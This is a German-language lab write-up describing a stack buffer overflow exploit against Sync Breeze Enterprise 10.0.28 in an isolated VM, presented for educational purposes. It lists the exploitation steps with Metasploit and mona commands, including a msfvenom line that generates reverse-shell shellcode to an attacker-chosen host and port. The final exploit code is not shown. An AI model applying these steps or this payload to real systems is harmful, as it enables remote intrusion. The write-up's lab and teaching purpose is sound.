
Untersuchung einer klassischen stackbasierten Pufferüberlauf-Schwachstelle in einer kontrollierten Laborumgebung zu Bildungszwecken.
Untersuchung einer klassischen stack-basierten Buffer-Overflow-Schwachstelle in einer kontrollierten Laborumgebung zu Bildungszwecken.
Das Ziel dieses Projekts war es, Folgendes besser zu verstehen:
Der erste Schritt bestand darin,
Sync Breeze Enterprise 10.0.28
in einer Windows-10-VM zu installieren, die für
Schwachstellenforschung und Exploit-Entwicklung konfiguriert war.
Die Umgebung wurde isoliert, um sichere und kontrollierte Tests zu gewährleisten.
Beide virtuellen Maschinen (Ziel und Angreifer) wurden im Modus „Bridged Network Adapter“ konfiguriert, um eine direkte Netzwerkkommunikation zwischen den Systemen während des Exploit-Prozesses zu ermöglichen.


Debugging-Tools wurden konfiguriert, um das Verhalten der Anwendung zur Laufzeit zu analysieren und die Absturzbedingungen zu beobachten.
Große Byte-Sequenzen wurden an die Anwendung gesendet, um die ungefähre Puffergröße zu ermitteln, die zum Auslösen eines Absturzes erforderlich ist.
Nachdem die Absturzschwelle identifiziert wurde, wurde die Anwendung erneut mit der entdeckten Payload-Größe getestet, um die Schwachstelle zu bestätigen.
Der genaue Offset, der zum Überschreiben des Instruction Pointers (EIP) erforderlich ist, wurde identifiziert.
Ein eindeutiges Muster erzeugen:
/usr/bin/msf-pattern_create -l <SIZE>
Den Offset identifizieren:
/usr/bin/msf-pattern_offset -l <SIZE> -q <EIP_VALUE>
Wobei:
<SIZE> = während des Fuzzings ermittelte Payload-Länge<EIP_VALUE> = beobachteter 4-Byte-Wert, der das EIP überschreibt
Es wurden Bad Characters identifiziert, um festzustellen, welche Bytes von der Anwendung nicht sicher verarbeitet werden können.
Eine geeignete JMP ESP-Instruktion wurde in einem Modul ohne
aktiviertes ASLR gefunden.
Geladene Module auflisten:
!mona modules
Nach JMP ESP suchen:
!mona find -s "\xff\xe4" -m <MODULE_NAME>
Anwendungsspezifische DLLs wurden aufgrund der vorhandenen statischen Speicheradressen bevorzugt.

Der Ablauf der Payload-Ausführung wurde validiert, um die korrekte Umleitung zum kontrollierten Puffer sicherzustellen.
Der Shellcode wurde unter Ausschluss der zuvor identifizierten Bad Characters erzeugt.
msfvenom -p windows/shell_reverse_tcp LHOST=<LOCAL_IP> LPORT=<PORT> EXITFUNC=thread -b "BAD_CHARS" -f c
Vor dem Shellcode wurde ein NOP-Sled (\x90) eingefügt, um die
Zuverlässigkeit der Payload-Ausführung zu verbessern.

Der finale Exploit wurde zusammengestellt und in der isolierten Laborumgebung erfolgreich getestet.
Dieses Projekt wurde ausschließlich zu Bildungs- und Forschungszwecken in einer isolierten Laborumgebung entwickelt.